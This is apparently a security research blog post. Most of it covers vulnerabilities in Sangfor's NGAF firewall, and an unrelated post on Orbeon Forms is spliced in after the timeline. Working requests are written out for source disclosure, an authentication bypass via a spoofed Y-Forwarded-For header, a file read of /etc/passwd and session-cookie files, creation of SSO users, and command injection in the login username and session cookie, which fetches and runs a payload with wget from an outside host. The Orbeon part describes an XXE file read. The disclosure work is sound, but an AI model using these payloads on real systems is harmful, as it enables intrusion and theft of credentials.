Sangfor (or, Sangfor Technologies) is a "Chinese manufacturer of network equipments including WAN optimization, Next-Generation Firewall, and SSL VPN, sells its products mainly to midsize enterprises".

Sangfor describe themselves as being the right-place for “effective cybersecurity and efficient enterprise cloud solutions”. We know this (in addition to ‘because they say it on their website’), because “At Sangfor, we believe in providing only the best IT architecture and security solutions for our clients”.

Here’s a little from Sangfor about their NGAF:

“Sangfor NGAF is the world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero. It is a truly secured, integrated and simplified firewall solution, providing a holistic overview of the entire organization's security network, with ease of management for administration, operation & maintenance.”

Brilliant.

Before you go on this journey with us, we want to be explicitly clear - Sangfor has told us all the vulnerabilities in this blog post are either a) already fixed or b) false-positives. We're not claiming 0days. Therefore, we are thrilled to share our analysis of old vulnerabilities and what we are led to believe (by Sangfor) is intentional behaviour by design, and ultimately are just glad we didn’t need to apply our 90-day disclosure policy.

Inquisitive minds might say “where are the public advisories to warn clients of these already existing and patched vulnerabilities?”. Inquisitive minds might also ask how such vulnerabilities ever made their way into production, security appliances in the first place? Luckily, we are not inquisitive and are happy to not question these mundane things.

Anyway, we digress. As obsessive readers of our blog posts will know, we regularly target enterprise technology that we see in the attack surfaces of the organisations we are proud to work with.

Obsessive readers will also be familiar with our deep obsession with secure firewall and VPN appliances - we’re not full of imagination, we just want our entry point into networks.

Looking for fish

In previous blog posts, we’ve shown in quite some detail the extensive steps taken to break an application - the extraction of HTTP routes, hunting of parameters, and how we qualify portions of functionality as ‘of interest’ in the target software we’re breaking. However, before all that can take place, a decision has to be made - is the target of interest, and worth an investment of time at all?

This type of decision can be influenced by widely varying factors, such as code complexity, real-world impact, security transparency (ha ha), and in this particular case, the ‘hacker sixth sense’ - does it exude the tell-tale of potentially weak software?

Sangfor’s NGAF caught our attention as a potential target for research, mostly due to its lack of CVE disclosures. This usually indicates that either the security community has yet to pillage its code, the appliance in question truly is secure or the ever more likely answer - a bug bounty program littered with NDAs and similar type agreements mystifies the security process!

We were able to gain access to an image of Sangfor's NGAF on AWS via https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 using the build version AF8.0.17.364.

Before getting into the grimey depths of code and workflows, theres a variety of tips n tricks we can use from a bird eye view to calculate the ‘pot odds’ of success. These ‘pot odds’ will help us decide how likely we are to find a bug, and thus, how much time and effort we should spend auditing the target.

Much to many critics dismay, the first ‘tell’ we see in the codebase is the fact that this supposedly “Next Generation” appliance utilises a mixture of PHP and C++ CGI binaries. We’ve previously seen how custom PHP applications can end in security heartache, and you only have to look at our recent deep dive into Juniper Firewalls for an example - but don’t take our word for it, even Sangfor’s developers have a poor opinion of PHP and we couldn’t agree more.

It’s also interesting to note that codebases that contain such profanity are a ‘tell’ in themselves - the developers either didn’t intend this code to be viewed by the public, or simply didn’t care about looking unprofessional - in our opinion.

Clearly, our ‘pot odds’ are looking pretty good.

When server-side becomes client-side..

Other than looking for profanity and comments within the application's code base, we first just give the appliance the proverbial kicking of the tires.

As we get a feel for the appliance, we begin to probe for interesting behaviour that might reveal inner workings of the tech stack and architecture of the solution.

Very quickly, we stumble into a ‘tell’ to raise the bet significantly on the Sangfor NGAF.

When making a request for the target server’s PHP files, should a non-numeric value be present in the Content-Length header, the server responds with a HTTP Status 413 (”content too large”). This isn’t out of the ordinary, however, what is out of the ordinary is that the server side source code (PHP) is dumped within the response (??):

curl --insecure  https://<host>:85/index.php -H "content-Length:asdf"

HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
<?php 
/*
 * @Func:	所有的请求都用apache服务器mod_rewrite模块改写URL规则，重新定向到这个php文件
 */
session_start();

//统一使用webapps作为根目录定位其它文件
require_once("../class/common/conf/config_inc.php");
if(SANGFOR_LANGUAGE == 'en.UTF-8') {
	require_once("../conf/lang/eng.utf8.lang.app.php");
}

else {
	require_once("../conf/lang/chs.utf8.lang.app.php");
}

//判断是否存在硬盘
if(@file_exists("/etc/sinfor/log/diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

//对于高端母盘设备ssd+hdd判断hdd是否异常
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
?>

A few hours later, after staring hard at our screens, we made a decision that this is probably not intended (Sangfor disagreed).

As an educated guess, what we’re most likely looking at is an integer handling issue that happens somewhere in the CGI handler. Unfortunately typically sensitive files (a config.php, etc) that would be useful in a vulnerability primative of this type for escalating access, were not.

Whilst the above behaviour was of interest, we didn’t find ourselves satisfied with the level of mayhem achieved - but did feel that we’d proven to ourselves that this appliance had likely met the bar for ‘interesting’. Thus, it was time to dig in.

Shuffle up and deal

For our friends following along at home we quickly enumerated services exposed using the command: lsof -nP -i | grep LISTEN from a local shell on the NGAF. As a tl;dr, we were able to see that we have two HTTPS services open, listening on 0.0.0.0;

• Port 85/TCP, running the ‘Firewall Report Center’, and ,
• Port 4433/TCP, running the ‘Administrator Login Portal’.

Naturally, we dived into port 85/TCP .

Mapping out entry points into this service - defined within an Apache config located at /etc/apache/conf.new/original/httpd.conf .

When looking to understand the metaphorical attack surface exposed by an appliance and specifically within Apache web server config files, we look for Location, ScriptAlias and Alias directives. Doing so usually provides us with a nice list of endpoints and exposed directories, and indeed in the case of this secure, hardened AI-powered Sangfor device, the presented results include a rich list of possibilities:

Alias /icons/ "/virus/apache/apache/icons/"
Alias /bbc "/virus/webui/ext/fast_deploy.html"
Alias /manual/ "/virus/apache/apache/htdocs/manual/"
Alias /cgi-bin/ "/virus/webui/cgi-bin/"
Alias /svpn_html/ "/virus/webui/svpn_html/"
Alias /proxy.html "/virus/webui/ext/login.php"
Alias /proxy_cssp.html "/virus/webui/ext/login.php"

However, attempting to access any of these items resulted in redirection to authenticate - at LogInOut.php.

Post-authentication bugs are not of interest to us though - we have a higher-calling for pre-authenticated vulnerabilities only. Time to look at the Apache config again.

Further analysis of this config reveals a RewriteRule rule, which rewrites all requests to index.php, which contains several require ’s and more importantly - a call to a controller class.

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();

This controller class is what handles our application-level routing. It is all mapped out in CFrontController.php, where we can see endpoints and the corresponding Controller functions associated with each:

None of these are directly accessible via the web interface without first authenticating, so it’s time to look at the function that invokes these. That’s the dispatchRequest() function.

Within seconds of looking at this, we see our next point of interest - the function’s inclination to check for authentication before forwarding the request.

We can see an IF condition which checks $_SERVER['REMOTE_ADDR'] (ie, the client’s IP address) against the value of 127.0.0.1 (localhost), and should this match, then the boolean $t_boolNeedCheck is set to false and the rest of the redirect logic is bypassed.

Conditional authentication at its finest.

public function dispatchRequest()
	{
		$t_objController = $this->getControllerInstance();
		if($t_objController) {
			//是否需要判断跨站攻击，一般登录页面不需要判断跨站攻击
			if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
				$t_boolNeedCheck = false;
			else
				$t_boolNeedCheck = true;
			if(isset($t_objController->m_boolNeedCheck))
				$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
			//防止跨站攻击
			if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
			{
				//要设置t_boolNeedCheck = false，要不会有重定向死循环
				CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
				exit(0);
			}
			$t_fStartTime = $this->costMicroTime();
			$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
			$t_fEndTime = $this->costMicroTime();
			$t_fTotal = $t_fEndTime - $t_fStartTime;
			
			CMiscFunc::printMsg($t_fTotal);
			return true;
		}
		CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
		return false;
	}

Can we, as external attackers, control the IP address that PHP sees, or are there opportunities for SSRF-type vulnerabilities that we can use to bypass this bastion-of-strength security control?

Well, in the real world, there are a few headers that might facilitate this - such as X-Forwarded-For and X-Real-Ip HTTP request headers, but experimentation proved these to have no effect.

Once again, referring back to the httpd.conf, we can see an unusual but suspicious directive - RPAFheader Y-Forwarded-For. This directive, which is loaded from the module mod_rpaf, allows clients to set their ‘remote’ IP address… useful. Probably intended functionality, we thought to ourselves.

A quick test of a request involving Y-Forwarded-For: 127.0.0.1 shows that we are no longer redirected to the login page when making an unauthenticated request.

Shazam! Our first stage in a potential vulnerability chain is hit, as this opens up a “whole new world” of application attack surface for us - all of the Alias’s defined within the Apache config.

For example, the previously-inaccessible /vmp_getinfo becomes within our grasp:

curl --insecure  https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"

This is an after thought but we had spent some time thinking about the actual purpose of this setting as it’s not used anywhere within the code. Perhaps it was utilised during testing or had some initial purpose removed from later versions? We’ll leave this idea with yourselves but you know, computers and code aren’t magic.

Show me just a bit more..

Armed with interesting behaviour up our sleeve, it’s time to set out and see where next we’ll go?

Heading back to the Apache config file, there’s an interesting Alias directive set - /svpn_html/ "/virus/webui/svpn_html/” - which presents a much larger set of application code and functionality to kick.

loadfile.php caught our attention, which accepts a single parameter file, parses it’s path, reads the contents, and writes to the response. Looks like an easy win for an Arbitrary File Read:

<?php
function get_basename($filename){
    return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);
}
$file = addslashes($_GET['file']);

echo $file;
//add by 1w
$file_path = pathinfo($file);

$extname = $file_path ['extension'];
$filename = "";

if (!file_exists($file)) {
    die("File Not found");
}
$filename = get_basename($file);

$ua = $_SERVER["HTTP_USER_AGENT"];
header('Content-type: application/octet-stream');
if (preg_match("/Firefox/", $ua)) {
    header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');
} else {
    header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');
}
readfile($file);

if($needDelete) {
    @unlink($file);
}
?>

curl --insecure  https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"

Kapow! Progress is good.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

Whilst it’s always a glorious screenshot to hit that /etc/passwd we wanted to see what was the maximum impact that could be accrued for our fellow readers. Short of finding cleartext credentials we did discover a number of files which show live PHPSESSID, so we could hijack sessions, theres a whole selection of them to take your pick from:

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf

If you’re still looking for easier ways of gaining access as a live Administrator, you could just peak into the Apache Access Logs and see the cookies passed via GET requests. Bug Triagers will be in shambles at this “low” finding but here we are chilling as Admins.

/virus/apache/apache/logs/access_log

Editors note: we feel like the unofficial sysadmins of certain countries at this point (and I hope someone gets the reference).

The turn

It’s at this moment we had to stop and give pause. How could a “Next Generation” Application Firewall have such an easy, low-hanging vulnerability? Is it possible that this is truly so innovative and next-generation that we’re seeing new things?

Well, for now we’re happy to accept it - our chances of finding the Holy Grail of unauth Remote Command Execution just increased, and it is now time to go all in with our hand.

Looking further through the cursed mess of PHP files, the next file to catch our eye is HttpHandler.php, which presents AJAX like functionality. It expects two request parameters, controler and action, and uses them to invoke a controller class and a public function as specified:

public function process()
	{
		try
		{
    		$controller=$_REQUEST["controler"];
    		$action=$_REQUEST["action"];

    		$this->validPara($controller, 'AjaxReq_NoConctroler');
    		$this->validPara($action, 'AjaxReq_NoAction');
    		$controller = $controller."Controller";

    		//反射controller类信息
    		$classInfo = new ReflectionClass($controller);

    		//创建controller类实例
    		$instance=$classInfo->newInstance();

    		//反射得到action方法
    		$methodInfo = $classInfo->getMethod($action);

    		//反射得到action参数表
    		$parainfos=$methodInfo->getParameters();
    		$paras=array();

For example, should the device be domain connected, we can retrieve the configuration data via /svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3

HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:

X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html

{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}

Yes, really.

In total, there are 20 controllers and over a hundred functions to audit. Unfortunately for us, though, the majority of public functions that seem to have interesting behaviour also check for “proper” (i.e. in addition to the ‘source IP’) authentication and we’re once again redirected to a login page (with no bypass this time).

We did find one ‘write’ function that lacked authentication checks, allowing us to write to an SQLite database and create new SSO Users for the SSL VPN. We'll leave it to your imagination as to the impact of this.

Funnily enough, it was also vulnerable to an SQL injection, but since the underlying DBMS was SQLite, this was of limited utility for RCE.

POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host: 
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr

After spending a considerable amount of time auditing the appliance, we had;

• Authentication Bypass
• Source Code Disclosure
• Local File Read
• The ability to add our own SSO users
• The ability to dump Active Directory configuration information, including username and password.

But, we were at a loss. Is Remote Command Execution going to evade us? Is this device truly secure?

Colluding with Pspy

At this point in the process, it was time to reassess our clearly failing approach. We needed more transparency to make sense of the code interacting with the system.

With most applications like this, the prominent injection types are Command and SQL. Perhaps we can enhance visibility in these areas by enabling Trace logs in the database configurations or by grep’ping all OS commands taking place?

Looking through the various classes we can see that developers like to execute shell commands using shell_exec , exec and popen . The code is a little bit of a forest to trace, and so we used pspy to assist.

Pspy is a useful little tool, often used by CTF teams, which will sit in the background and log all processes being spawned and their arguments - very good for spotting command injection, which we suspected would be the quickest route to RCE.

Placing the pspy binary on the target box, along with the grep command, allows visibility into what was being spawned by the Apache process:

After running this through all the controllers and functions again, we were still unable to locate any clear points of injection. At this point after exhausting the codebase for this service, we decided to take a break and give up (ha ha).

Here’s a good example of getting lucky - while authenticating as normal, some divine force nudged our fingers and we accidentally typed the wrong username. We still had pspy observing processes, and our eyes widened as we saw:

As you can see in the pspy capture above, the username Admi is passed directly into a shell command… could it be possible to inject our own commands into the username parameter on the login page?

Surely this is not plausible… a run-of-the-mill scanner, pentester, or bounty hunter would have picked it up, surely? Good job CAPTCHA.

Looking through the file CFWLogInOutDAO.php we can find the remoteLogin() function responsible for this:

public function remoteLogin(&$in_arrSearchCondition)
	{
		$userName = $in_arrSearchCondition ['user_name'];
		$passwd = $in_arrSearchCondition ['password'];
        //rsa的解密
		$t_strMD5 = $this->decrypt($passwd);		
		$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
		$retResult = fread($fp, 20);
		pclose($fp);
		if ($retResult == "retLoginSuccess") {
			$in_arrSearchCondition ['user_name'] = $userName."_remote_";
			$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
			$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
			return $this->setSession($t_strSQL);
		}
		return false;
	}

Ironically, the developers call addslashes() on the username before processing within in a SQL statement, but no sanitisation before using it within the popen() function. Oops!

After some time playing around, we realised it was not possible to inject just any old special character in the username, as quotes and backticks (and even the logical operators || and &&) were not allowed due to mod_security. However, we noticed it could truncate the command with a semicolon.

Being the attention-seekers that we are, we wanted magical output that showed execution of the command from a single HTTP request to response - and thus, we had to get creative. The response details a static error message which is declared within the file /virus/dcweb/conf/lang/eng.utf8.lang.app.php .

Our new life goal was to write a command that outputs to this error message. Typically (we like this word), you would use some kind of encoding to get around the ‘ “ and mod_security limitations but base64 and xxd are not available on the appliance. To circumvent this we went with the following path to a winning hand:

1. Hosting the payload externally on an HTTP server
2. Fetch the payload using wget
3. Execute the payload via source - We thought it was cooler than .
4. sed replace the error message with the value of $(id)

What we’re left with is this awesome screenshot showing the win all in one place:

Request:

POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625

type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>

Cmd.txt Payload: sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php

Response:

HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html

Error: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) is triggered by too many login failures. Please try again 5 minute later!

Rabbit hunting

While it’s every researchers dream to find RCE, it is also quite disheartening to find such a simple bug waiting for discovery. One would expect that achieving RCE would require a beautiful chain of 2 or 3 vulnerabilities, using authorization bypasses, PHP object injection, and all sorts of other malarkey.

You can imagine the disappointment at how easy it was to achieve the big RCE in this appliance.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

We decided to give the appliance a second chance - perhaps some in-the-wild have port 85/TCP firewalled, and only 4433/TCP open. That would give us our chance to concoct a more sophisticated attack path, and gain more attention/Internet points.

The attack surface is slightly different on port 4433, in that the native flow authenticates via a C++ CGI file rather than via PHP. We toyed with the idea of spending our evenings in Ghidra analysing it, but the thought crossed our minds that perhaps the same developer who designed the login PHP script on port 85/TCP also developed the CGI modules, and maybe.. just maybe...

Inspired with that thought, we attempted the login flow with pspy still running. Using the same principle, we attempted to login with an incorrect username… lo and behold, another shell command is executed in a slightly different format. It is quite clear that the Cookie PHPSESSIONID was being used within an echo command to a temporary file.

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}

Pspy captures:

CMD: UID=65534 PID=31595  | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log

As the value is taken from a cookie we’re unable to inject semicolons to truncate the command (or URL encode them). Instead, by utilising backticks (which are allowed this time) we could create our own variable and evaluate the contents inside brackets. Unfortunately there’s no beautiful sed output to be used here so you’ll have to settle with an out of bound request🙂

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}

Ouch. RCE once again.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

The house ALWAYS wins

After amassing our fortune of vulnerability chips at the table, we had approached Sangfor’s technical team ready to cash out.

After a few exciting back and forth emails, we never managed to speak directly with the security team - but to the security team via technical support.

Sangfor’s team claimed to be either be fully aware of the issues, with patches already distributed, or unable to validate our findings, citing “false positives”. Perhaps we were swindled by the players next to us and ended up with unpublished N-days.

Either way, it was fun. We'll let you conclude in your own minds what may have, or may not, have happened.

Conclusion

When bounty hunters, researchers, or pentesters alike look at attack surfaces for vulnerabilities, its often an unsaid assumption that appliances such as firewalls and VPN’s are hardened, usually due to internal security review processes as well as competition with other individuals across multiple enterprises external processes.

Editors note: And the fact that they say 'security' and 'secure' across them, I guess.

It should go without saying that low-hanging fruit as demonstrated above should be non-existent in 2023 AD, a year in which we hoped that the investment required to discover real, impactful vulnerabilities had sharply increased. We hope this write-up changes that mindset - even an entry-level offensive-security lab course is very relevant for a widely-used and ‘next generation’ product such as this one.

By now, regular readers will be well aware that we love picking on such ‘hardened’ appliances here at watchTowr. Indeed, with bugs like these, it’s hard not to be interested - we’d encourage everyone with an interest in bug-hunting to pick up their nearest ‘next generation’ or ‘enterprise-grade’ firewall or VPN endpoint and start tearing it to pieces.

The real lesson here, for network defenders, is that we can’t assume these hardened devices are, well, hardened at all. Nothing beats network segmentation and the principle of least privilege, despite what the salesperson may tell you.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

When software is introduced as the solution used by “Enterprises and Governments”, it is almost rude of us not to engage further and see how terrifying everything becomes.

One of our key missions at watchTowr is to review large amounts of data and extract interesting technology that may pose a risk to those unfortunate enough to utilise it.

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Innovation Is Beautiful

Recently, at some ungodly hour of the day, the urge to review some of the “unusual” technology we see appeared - and thus, browsing for a ripe research target to quench the creative thirst began. One thing stood out... Orbeon Forms.

It is not often that we can say that software companies literally paint a target on themselves, but when you describe yourself as “Web Forms for the Enterprise and the Government” - I mean…

A brief summary of the application, taken from their website: https://www.orbeon.com

“Orbeon Forms is your solution to build and deploy web forms on-premises. It handles very large forms with complex validations, as well as extensive collections of forms that are typical of the enterprise or the government”

Web forms are as old as the Internet itself, with a variety of technologies and frameworks to implement something that was already done in the 90’s. Why not stick with just this magnum opus of a design?

How did Orbeon manage to convince so many people that the <form> tag and its immense power needed improving?

Needless to say - we found the target of our extra energy. Caffeinated, and inspired to break some code - or, at the very least, understand how we as the human race have improved on the ‘web form’ - we begun.

💡 For those that want to follow along at home, you can find the installation guide at https://doc.orbeon.com/xforms/xforms-tutorial/installation and the source code on Github: https://github.com/orbeon/orbeon-forms. The version we used was orbeon-2022.1.202212310353-CE , deployed on Ubuntu, using Tomcat 9.

Whether you’re an Internet miscreant, someone a little more professional, or just a general “I want to see the world burn” enthusiast, we share a common dream - to project pure mayhem to find bugs of significant impact which are reachable pre-authentication.

Where To Begin?

First impressions of Orbeon Forms show us a “beautiful“ symphony of code - containing Java, Scala and XPL in various flavours - ‘Enterprise’ and ‘Community’, over 500 stars on Github and (so revealed by a brief search of the Internet) is proudly present and exposed by many of the well-known brands that we all use and love.

This story begins with a tried and true method, finding out one thing - where does this bundle of code let me touch it?

By going through each of the accessible web routes, we are establishing two things - first of all, what can we access pre-authentication, and secondly, is there any interesting functionality (the type that gives you the sixth-sense of ‘bad code be here’) that can be reached?

As with all Java applications, we can find these routes defined within the web.xml file. In this case, the formidable /orbeon-war/jvm/src/main/webapp/WEB-INF/web.xml.

Here we can find various filters, but more importantly - servlet paths - denoted within <servlet-mapping> tags. Routes can be reached via HTTP requests aligned to the url-pattern values, mapping back to the servlet. For example, the application route “/xforms-renderer” maps to the orbeon-renderer-servlet, as we can see below:

<servlet-mapping>
        <servlet-name>orbeon-renderer-servlet</servlet-name>
        <url-pattern>/xforms-renderer</url-pattern>
</servlet-mapping>

This in turn maps to the specific class path that handles the request:

<servlet>
        <servlet-name>orbeon-renderer-servlet</servlet-name>
        <servlet-class>org.orbeon.oxf.servlet.OrbeonServlet</servlet-class>
...

This is very atypical of a Java application, and simple to follow. Sifting through the web.xml file and extracting each route available provides us with the following list:

/exist/*
/exist/rest/*
/exist/xmlrpc/*
/xforms-jsp/*
/xforms-renderer
/fr/auth
/fr/service/*
/fr/style/*
/fr/not-found
/fr/error
/fr/login
/fr/login-error

For many Java applications, this would be all we need to do to enumerate application routes. However, Orbeon Forms actually exposes a much more interesting attack surface than it first appears (who would’ve guessed?). We can very rapidly spot that Orbeon Forms not only exposes routes via the usual web.xml file, but also within Scala code and its custom xplfile structure.

We can find additional application defined routes to the.xpl files by examining thepage-flow.xml file. For example, the file  /xforms/jvm/src/main/resources/ops/xforms/xforms-renderer-page-flow.xml:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <files path="(?!/([^/]+)/service/).+\\.(gif|css|pdf|json|js|png|jpg|xsd|htc|ico|swf|html|htm|txt)"/>

    <page path="/xforms-renderer" model="xforms-renderer.xpl"/>

We can see that all requests that are sent to the path /xforms-renderer are handled by the xforms-renderer.xpl definition.

So What Is An XPL File?

If - like ourselves a few days ago - you have never seen the syntax, or even an xpl file, fear not - we’re going to demystify it and add more potentially superfluous information to your memory.

What we’ll be looking at is a document written in the “XML Pipeline Definition Language”.

In short, a document written in this language can be used to define how processing and transformation of an XML document can take place. Documents usually define a ‘processor’ via the namespace at the top of the file (similar to XML documents themselves). Variables can then be set, with inputs and outputs, as well as ‘configurations’ which are acknowledged and parsed by the processor.

We’ll go ahead and quickly analyse an example of an endpoint explored later on in this post, just so we can get our heads around what may be going on. Firstly, here are the namespace declarations:

<p:config xmlns:p="<http://www.orbeon.com/oxf/pipeline>"
          xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
          xmlns:oxf="<http://www.orbeon.com/oxf/processors>">

There are three namespaces here. They are named according to the attribute, as p, xsl, and oxf respectively. For example, should anything follow with a tag starting with <p:>, the backend processor will interpret it as part of the first definition, http://www.orbeon.com/oxf/pipeline.

Here’s an example, which does exactly that:

<p:param name="data" type="input"/>
<p:param name="data" type="output"/>

Here we can see the definition of the data parameter with both its input and output declared and attached to the http://www.orbeon.com/oxf/pipeline processor.

Reading a bit further:

<p:for-each href="#data" select="/company/department" ref="data" root="company">
	<p:processor name="oxf:xslt">
		<p:input name="data" href="current()"/>
		<p:input name="config">
			<department name="{/department/@name}" 
	                total-salaries="{sum(/department/employee/@salary)}"
									xsl:version="2.0"/>
	  </p:input>
		<p:output name="data" ref="data"/>
	</p:processor>
</p:for-each>

The data from an input variable, named data, is parsed into the processor which is of the oxf:xslt type. The specific values of /company/data from an XML document are pushed through an XPath sum() function, and then this is ultimately iterated over using the for-each declaration for all nodes in an XML document.

Now What?

Back to the task at hand - routes, routes, routes!

Browsing through /orbeon-war/jvm/src/main/webapp/WEB-INF/resources/apps/home/page-flow.xml, an interesting XPL route immediately stands out:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <page path="/home/xforms" model="examples-xforms.xml" view="view.xpl"/>

    <epilogue url="oxf:/config/epilogue.xpl"/>
</controller>

Why does this page have a modelofexamples-xforms.xml?    Recent history, not-so-recent history - effectively, consistently throughout history - shows that example code is a disaster. Is that what we’re looking at here?

Surprise surprise, we have access to what appears to be shiny demo applications bundled in the default build to demonstrate the true power of XForms (input fields, submit buttons, dropdown option boxes, select buttons!!!), showcased in a variety of adequately named demo sections.

With a cursorary glance over the descriptions provided, we can see that ”XForms Sandbox” references upload functionality and “XPath” allows…  XPath expressions!

Building Castles In The Sandbox

First up, the XPath sandbox. We can see this is located at /orbeon/sandbox-transformations/xpath/. The page prompts us for two inputs - an XML Document, and an XPath query that selects from the supplied document.

Even without diving into the code, experience, logic, common sense tells us that there are fairly common bug classes that this likely is ‘open to’ - namely XXE.

Performed in a  standard manner - we can load the contents of /etc/passwd into the contents of the returned XML blob via an External XML Entity, and then using the XPath query to select the root node from the XML document.

We’d say this is definitely an interesting improvement on the historically boring HTML forms we see - innovation is brilliant.

Our demo environment is running on Tomcat, where a local file read is typically devastating - should the Tomcat server have users configured, we can simply read their credentials from the tomcat-users.xml file. From there, compromise is trivial, and beyond the scope of what we feel the need to discuss here.

We’re not stargazers, we’re not astrologers - we don’t believe in waiting for stars to align, and the above situation won’t always exist. Let’s continue on our projected path to mayhem.

Where There’s Smoke, There’s Mayhem

Just as an unrelated, almost irrelevant reminder - Orbeon Form’s proudly stated client base is ‘Enterprises’ and ‘Governments’.

It’s time to dive further down the rabbit hole, and into more code.

